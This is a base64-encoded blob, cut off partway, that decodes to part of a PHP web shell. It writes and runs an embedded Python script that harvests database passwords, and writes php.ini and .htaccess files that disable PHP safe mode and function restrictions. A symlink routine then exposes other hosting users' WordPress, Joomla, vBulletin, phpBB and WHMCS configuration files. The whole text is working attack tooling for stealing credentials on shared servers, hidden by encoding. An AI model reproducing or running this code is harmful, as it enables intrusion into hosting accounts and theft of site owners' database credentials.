NJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkWGFXNWtiM2R6SnpvTkNpQWdJQ0JtSUQwZ2IzQmxiaWduWkdGMFlTNTBlSFFuTENBbmNsVW5LUTBLSUNBZ0lHWnZjaUJzYVc1bElHbHVJR1k2RFFvZ0lDQWdJQ0JwWmlCc2FXNWxMbk4wWVhKMGMzZHBkR2dvSnp4c2FUNDhZU2NwSUQwOUlGUnlkV1VnT2cwS0lDQWdJQ0FnSUNCdElEMGdjbVV1YzJWaGNtTm9LSEluS0R4aElHaHlaV1k5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diUzVuY205MWNDZ3lLUTBLSUNBZ0lDQWdJQ0IwY25rNklDQjFjbXhzYVdJdWRYSnNjbVYwY21sbGRtVW9jMmwwWlNBcklHMHVaM0p2ZFhBb01pa3NJR3h2WTJGc1gyNWhiV1VwRFFvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JKVDBWeWNtOXlPZzBLSUNBZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RjYmxzbGMxMGdaRzlsYzI1Y0ozUWdaWGhwYzNRc0lHTnlaV0YwWlNCcGRDQm1hWEp6ZENjZ0pTQm1iM1YwRFFvZ0lDQWdJQ0FnSUNBZ2MzbHpMbVY0YVhRb0tRMEtJQ0FnSUNBZ2FXWWdiR2x1WlM1emRHRnlkSE4zYVhSb0tDYzhhVzFuSnlrZ1BUMGdWSEoxWlRvTkNpQWdJQ0FnSUNBZ2JURWdQU0J5WlM1elpXRnlZMmdvY2ljb1BHRWdhSEpsWmowaUtTZ3VLMXRlUGwwcEtDSStLU2NzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2tnS3owZ01RMEtJQ0FnSUNBZ0lDQnNiMk5oYkY5dVlXMWxJRDBnSnlWekwyWnBiR1VsWkM1MGVIUW5JQ1VnS0dadmRYUXNJR2twRFFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2RTWlhSeWFXVjJhVzVuTGk0dVhIUmNkQ2NzSUhOcGRHVWdLeUJ0TVM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB4TG1keWIzVndLRElwTENCc2IyTmhiRjl1WVcxbEtRMEtJQ0FnSUNBZ0lDQmxlR05sY0hRZ1NVOUZjbkp2Y2pvTkNpQWdJQ0FnSUNBZ0lDQndjbWx1ZENBblhHNWJKWE5kSUdSdlpYTnVYQ2QwSUdWNGFYTjBMQ0JqY21WaGRHVWdhWFFnWm1seWMzUW5JQ1VnWm05MWRBMEtJQ0FnSUNBZ0lDQWdJSE41Y3k1bGVHbDBLQ2tOQ2lBZ0lDQWdJR2xtSUd4cGJtVXVjM1JoY25SemQybDBhQ2duUEVsTlJ5Y3BJRDA5SUZSeWRXVTZEUW9nSUNBZ0lDQWdJRzB5SUQwZ2NtVXVjMlZoY21Ob0tISW5LRHhCSUVoU1JVWTlJaWtvTGl0YlhqNWRLU2dpUGlrbkxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcElDczlJREVOQ2lBZ0lDQWdJQ0FnYkc5allXeGZibUZ0WlNBOUlDY2xjeTltYVd4bEpXUXVkSGgwSnlBbElDaG1iM1YwTENCcEtRMEtJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVjBjbWxsZG1sdVp5NHVMbHgwWEhRbkxDQnphWFJsSUNzZ2JUSXVaM0p2ZFhBb01pa05DaUFnSUNBZ0lDQWdkSEo1T2lBZ2RYSnNiR2xpTG5WeWJISmxkSEpwWlhabEtITnBkR1VnS3lCdE1pNW5jbTkxY0NneUtTd2diRzlqWVd4ZmJtRnRaU2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRWxQUlhKeWIzSTZEUW9nSUNBZ0lDQWdJQ0FnY0hKcGJuUWdKMXh1V3lWelhTQmtiMlZ6Ymx3bmRDQmxlR2x6ZEN3Z1kzSmxZWFJsSUdsMElHWnBjbk4wSnlBbElHWnZkWFFOQ2lBZ0lDQWdJQ0FnSUNCemVYTXVaWGhwZENncERRb2dJQ0FnWmk1amJHOXpaU2dwRFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdZMnhsWVc1MWNDQTlJSE4xWW5CeWIyTmxjM011VUc5d1pXNG9KM0p0SUMxeVppQXZkRzF3TDJSaGRHRXVkSGgwSUQ0Z0wyUmxkaTl1ZFd4c0p5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUdsbUlITjVjM1JsYlNncElEMDlJQ2RYYVc1a2IzZHpKem9OQ2lBZ0lDQmpiR1ZoYm5Wd0lEMGdjM1ZpY0hKdlkyVnpjeTVRYjNCbGJpZ25aR1ZzSUVNNlhHUmhkR0V1ZEhoMEp5d2djMmhsYkd3OVZISjFaU2t1ZDJGcGRDZ3BEUW9nSUhCeWFXNTBJQ2RjYmljc0lDY3RKeUFxSURFd01Dd2dKMXh1SncwS0lDQnBaaUJ6ZVhOMFpXMG9LU0E5UFNBblRHbHVkWGduT2cwS0lDQWdJR1p2Y2lCeWIyOTBMQ0JrYVhKekxDQm1hV3hsY3lCcGJpQnZjeTUzWVd4cktHWnZkWFFwT2cwS0lDQWdJQ0FnWm05eUlHWnVZVzFsSUdsdUlHWnBiR1Z6T2cwS0lDQWdJQ0FnSUNCbWRXeHNjR0YwYUNBOUlHOXpMbkJoZEdndWFtOXBiaWh5YjI5MExDQm1ibUZ0WlNrTkNpQWdJQ0FnSUNBZ1ppQTlJRzl3Wlc0b1puVnNiSEJoZEdnc0lDZHlKeWtOQ2lBZ0lDQWdJQ0FnWm05eUlHeHBibVVnYVc0Z1pqb05DaUFnSUNBZ0lDQWdJQ0J6WldOeUlEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1lsOXdZWE56ZDI5eVpDZGRJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSWdhWE1nYm05MElFNXZibVU2SUhCeWFXNTBJQ2h6WldOeUxtZHliM1Z3S0RJcEtTQWdEUW9nSUNBZ0lDQWdJQ0FnYzJWamNqRWdQU0J5WlM1elpXRnlZMmdvY2lJb2NHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeUlEMGdjbVV1YzJWaGNtTm9LSElpS0VSQ1gxQkJVMU5YVDFKRUp5a29MaTR1S1NndUsxdGVQbDBwS0NjcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ0lDQnBaaUJ6WldOeU1pQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJeUxtZHliM1Z3S0RNcEtRMEtJQ0FnSUNBZ0lDQWdJSE5sWTNJeklEMGdjbVV1YzJWaGNtTm9JQ2h5SWloa1luQmhjM01nUFM0dUtTZ3VLMXRlUGwwcEtDNDdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjak1nYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlNeTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOQ0E5SUhKbExuTmxZWEpqYUNBb2NpSW9SRUpRUVZOVFYwOVNSQ0E5SUNjcEtDNHJXMTQrWFNrb0xqc3BJaXdnYkdsdVpTa05DaUFnSUNBZ0lDQWdJQ0JwWmlCelpXTnlOQ0JwY3lCdWIzUWdUbTl1WlRvZ2NISnBiblFnS0hObFkzSTBMbWR5YjNWd0tESXBLUTBLSUNBZ0lDQWdJQ0FnSUhObFkzSTFJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbkJoYzNNZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUNBZ2FXWWdjMlZqY2pVZ2FYTWdibTkwSUU1dmJtVTZJSEJ5YVc1MElDaHpaV055TlM1bmNtOTFjQ2d5S1NrTkNpQWdJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJQ0FnYVdZZ2MyVmpjallnYVhNZ2JtOTBJRTV2Ym1VNklIQnlhVzUwSUNoelpXTnlOaTVuY205MWNDZ3lLU2tOQ2lBZ0lDQWdJQ0FnSUNCelpXTnlOeUE5SUhKbExuTmxZWEpqYUNBb2NpSW9iVzl6UTI5dVptbG5YM0JoYzNOM2IzSmtJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQWdJR2xtSUhObFkzSTNJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqY3VaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJR1l1WTJ4dmMyVW9LUTBLSUNCcFppQnplWE4wWlcwb0tTQTlQU0FuVjJsdVpHOTNjeWM2RFFvZ0lDQWdabTl5SUdsdVptbHNaU0JwYmlCbmJHOWlMbWRzYjJJb0lHOXpMbkJoZEdndWFtOXBiaWhtYjNWMExDQW5LaTUwZUhRbktTQXBPZzBLSUNBZ0lDQWdaaUE5SUc5d1pXNG9hVzVtYVd4bExDQW5jaWNwRFFvZ0lDQWdJQ0JtYjNJZ2JHbHVaU0JwYmlCbU9nMEtJQ0FnSUNBZ0lDQnpaV055SUQwZ2NtVXVjMlZoY21Ob0lDaHlJaWhrWWw5d1lYTnpkMjl5WkNkZElEMGdKeWtvTGl0YlhqNWRLU2duT3lraUxDQnNhVzVsS1EwS0lDQWdJQ0FnSUNCcFppQnpaV055SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjaTVuY205MWNDZ3lLU2tnSUEwS0lDQWdJQ0FnSUNCelpXTnlNU0E5SUhKbExuTmxZWEpqYUNoeUlpaHdZWE56ZDI5eVpDQTlJQ2NwS0M0clcxNCtYU2tvSnpzcElpd2diR2x1WlNrTkNpQWdJQ0FnSUNBZ2FXWWdjMlZqY2pFZ2FYTWdibTkwSUU1dmJtVTZJQ0J3Y21sdWRDQWdLSE5sWTNJeExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TWlBOUlISmxMbk5sWVhKamFDaHlJaWhFUWw5UVFWTlRWMDlTUkNjcEtDNHVMaWtvTGl0YlhqNWRLU2duS1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l5SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjakl1WjNKdmRYQW9NeWtwRFFvZ0lDQWdJQ0FnSUhObFkzSXpJRDBnY21VdWMyVmhjbU5vSUNoeUlpaGtZbkJoYzNNZ1BTNHVLU2d1SzF0ZVBsMHBLQzQ3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0l6SUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjak11WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0FnSUhObFkzSTBJRDBnY21VdWMyVmhjbU5vSUNoeUlpaEVRbEJCVTFOWFQxSkVJRDBnSnlrb0xpdGJYajVkS1NndU95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5DQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMExtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TlNBOUlISmxMbk5sWVhKamFDQW9jaUlvUkVKd1lYTnpJRDBnSnlrb0xpdGJYajVkS1Nnbk95a2lMQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBaaUJ6WldOeU5TQnBjeUJ1YjNRZ1RtOXVaVG9nY0hKcGJuUWdLSE5sWTNJMUxtZHliM1Z3S0RJcEtRMEtJQ0FnSUNBZ0lDQnpaV055TmlBOUlISmxMbk5sWVhKamFDQW9jaUlvWkdKd1lYTnpkMlFnUFNBbktTZ3VLMXRlUGwwcEtDYzdLU0lzSUd4cGJtVXBEUW9nSUNBZ0lDQWdJR2xtSUhObFkzSTJJR2x6SUc1dmRDQk9iMjVsT2lCd2NtbHVkQ0FvYzJWamNqWXVaM0p2ZFhBb01pa3BEUW9nSUNBZ0lDQWdJSE5sWTNJM0lEMGdjbVV1YzJWaGNtTm9JQ2h5SWlodGIzTkRiMjVtYVdkZmNHRnpjM2R2Y21RZ1BTQW5LU2d1SzF0ZVBsMHBLQ2M3S1NJc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdsbUlITmxZM0kzSUdseklHNXZkQ0JPYjI1bE9pQndjbWx1ZENBb2MyVmpjamN1WjNKdmRYQW9NaWtwRFFvZ0lDQWdJQ0JtTG1Oc2IzTmxLQ2tOQ21WNFkyVndkQ0FvUzJWNVltOWhjbVJKYm5SbGNuSjFjSFFwT2cwS0lDQndjbWx1ZENBblhHNVVhR0Z1YTNNZ1ptOXlJSFZ6YVc1bklHbDBJQzVmWGljPSc7CiRmaWxlID0gZm9wZW4oImNwLnB5IiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY3ApKTsKZmNsb3NlKCRmaWxlKTsKY2htb2QoImNwLnB5IiwwNzU1KTsKJHVybCA9ICRfUE9TVFsndXJsJ107CmVjaG8iPGNlbnRlcj4KPHRleHRhcmVhIGNvbHM9XCI5MFwiIHJvd3M9XCIyMFwiIG5hbWU9XCJ1c2VybmFtZXNcIj4iOwpzeXN0ZW0oInB5dGhvbiBjcC5weSAkdXJsIGNvbmZpZyIpOwp1bmxpbmsgKCdjcC5weScpOwplY2hvIjwvdGV4dGFyZWE+CjwvY2VudGVyPiI7CmVjaG8gIjxocj48Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPiA8PCBCQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtYXRpa2FuJ109PSdzZWthdGFuJyl7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CiRwaHBpbmkgPQonYzJGbVpWOXRiMlJsUFU5R1JnMEtaR2x6WVdKc1pWOW1kVzVqZEdsdmJuTTlUazlPUlE9PSc7CiRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsKZmNsb3NlKCRmaWxlKTsKJGh0YWNjZXNzID0KJ1QzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUT09JzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKZWNobyAiPGhyPjxjZW50ZXI+PGI+RE9ORSEiOwplY2hvICI8aHI+PGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtZW5kYXBhdGthbiddPT0ncGFzc3dkJyl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwokZm4gPSAkX1BPU1RbJ2ZvbGRlcm5hbWUnXTsKLy9hbGwgZnVuY3Rpb24gaGVyZQoKZnVuY3Rpb24gc3ltbCgkdXNlcm4sJHBkb21haW4pCgl7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlnd